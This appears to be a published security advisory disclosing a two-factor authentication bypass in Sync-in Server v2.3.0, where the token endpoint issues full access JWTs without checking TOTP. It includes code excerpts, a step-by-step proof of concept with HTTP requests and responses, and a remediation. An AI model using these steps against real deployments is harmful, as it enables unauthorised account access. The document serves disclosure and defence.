GHSA-92cr-jxw4-5wjg

**Affected component:** Sync-in Server v2.3.0, `POST /api/auth/token` (`auth.controller.ts:50-55`).

**Required attacker capability:** Valid username and password for a 2FA-enabled account.

## Summary

`POST /api/auth/token` authenticates with username and password only, then calls `getTokens()`, which returns unrestricted Bearer access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker who already knows valid credentials for a 2FA-enabled account can bypass 2FA in a single request.

The parallel login endpoint (`POST /api/auth/login`) correctly enforces 2FA by calling `setCookies(user, res, true)`, which gates on `user.twoFaEnabled` when server-side TOTP is enabled.

## Details

The token endpoint at `auth.controller.ts:50-55` uses `AuthLocalGuard` (password-only) and calls `getTokens()` directly: ```typescript // auth.controller.ts:50-55 @Post(AUTH_ROUTE.TOKEN) @AuthTokenSkip() @UseGuards(AuthLocalGuard) token(@GetUser() user: UserModel): Promise<TokenResponseDto> { return this.authManager.getTokens(user) } ``` `getTokens()` at `auth.service.ts:25-39` signs and returns access and refresh JWTs. It never reads `user.twoFaEnabled`: ```typescript // auth.service.ts:25-39 async getTokens(user: UserModel, refresh = false): Promise<TokenResponseDto> { const currentTime = currentTimeStamp() // ...expiration logic... return { [TOKEN_TYPE.ACCESS]: await this.jwtSign(user, TOKEN_TYPE.ACCESS, accessExpiration), [TOKEN_TYPE.REFRESH]: await this.jwtSign(user, TOKEN_TYPE.REFRESH, refreshExpiration), // ... } } ``` Compare with the login endpoint at `auth.controller.ts:30-35`, which calls `setCookies(user, res, true)`. Inside `setCookies()` at `auth.service.ts:45`, the 2FA gate fires: ```typescript // auth.service.ts:45 const verify2Fa = init2FaVerify && configuration.auth.mfa.totp.enabled && user.twoFaEnabled ``` When `verify2Fa` is true, `setCookies()` issues only a restricted `ACCESS_2FA` token and requires the user to complete `POST /api/auth/2fa/login/verify` before receiving full session cookies. The token endpoint has no equivalent gate.

## PoC

### Prerequisites

- A Sync-in instance with TOTP 2FA enabled server-wide. - A user account with 2FA enrolled (the target). - The target's valid login and password, but not the TOTP secret or current TOTP code.

### Steps

1. **Enable 2FA on the target account.** Log in as the target user, navigate to Settings, and enable TOTP two-factor authentication.

2. **Confirm normal login requires 2FA.** Log out. Log back in with the target's credentials. The UI presents a TOTP code prompt before granting access, and the API response contains only `token.access_2fa_expiration` (a restricted partial token): ``` POST /api/auth/login {"login":"test","password":"..."}

Response: {"user":{"twoFaEnabled":true},"server":{"twoFaEnabled":true},"token":{"access_2fa_expiration":1781234379}} ``` 3. **Bypass 2FA via the token endpoint.** Send the same credentials to `/api/auth/token`: ``` POST /api/auth/token {"login":"test","password":"..."}

Response: { "access": "eyJhbGciOiJIUzI1NiIs...", "refresh": "eyJhbGciOiJIUzI1NiIs...", "access_expiration": 1781235890, "refresh_expiration": 1781248490 } ``` Unrestricted Bearer access and refresh JWTs are returned. No TOTP code was required.

4. **Confirm API access.** Use the token on a protected endpoint: ``` GET /api/users/me Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

Response: {"user":{"id":16,"login":"test","email":"test@lab.local","twoFaEnabled":true,...}} ``` The server returns the user profile. Protected API endpoints that accept Bearer authentication are accessible as the target user. No TOTP code was required at any step.

### Measured observations

- The login endpoint (`/api/auth/login`) correctly returns a restricted 2FA-pending response. - The token endpoint (`/api/auth/token`) returns unrestricted Bearer JWTs with the same credentials and no TOTP. - The returned Bearer token grants access to protected API endpoints as a fully authenticated user, though cookie-specific flows may differ.

## Impact

An attacker who already knows valid credentials for a 2FA-enabled account can obtain unrestricted Bearer access and refresh JWTs in a single HTTP request, without knowing the TOTP secret or possessing the authenticator device. 2FA security is bypassed for Bearer-token API authentication.

## Remediation

Gate the token endpoint behind the same 2FA policy used by the login route. After `AuthLocalGuard` validates the username and password, require a valid TOTP code when server-side TOTP is enabled and `user.twoFaEnabled` is true, before calling `getTokens()`.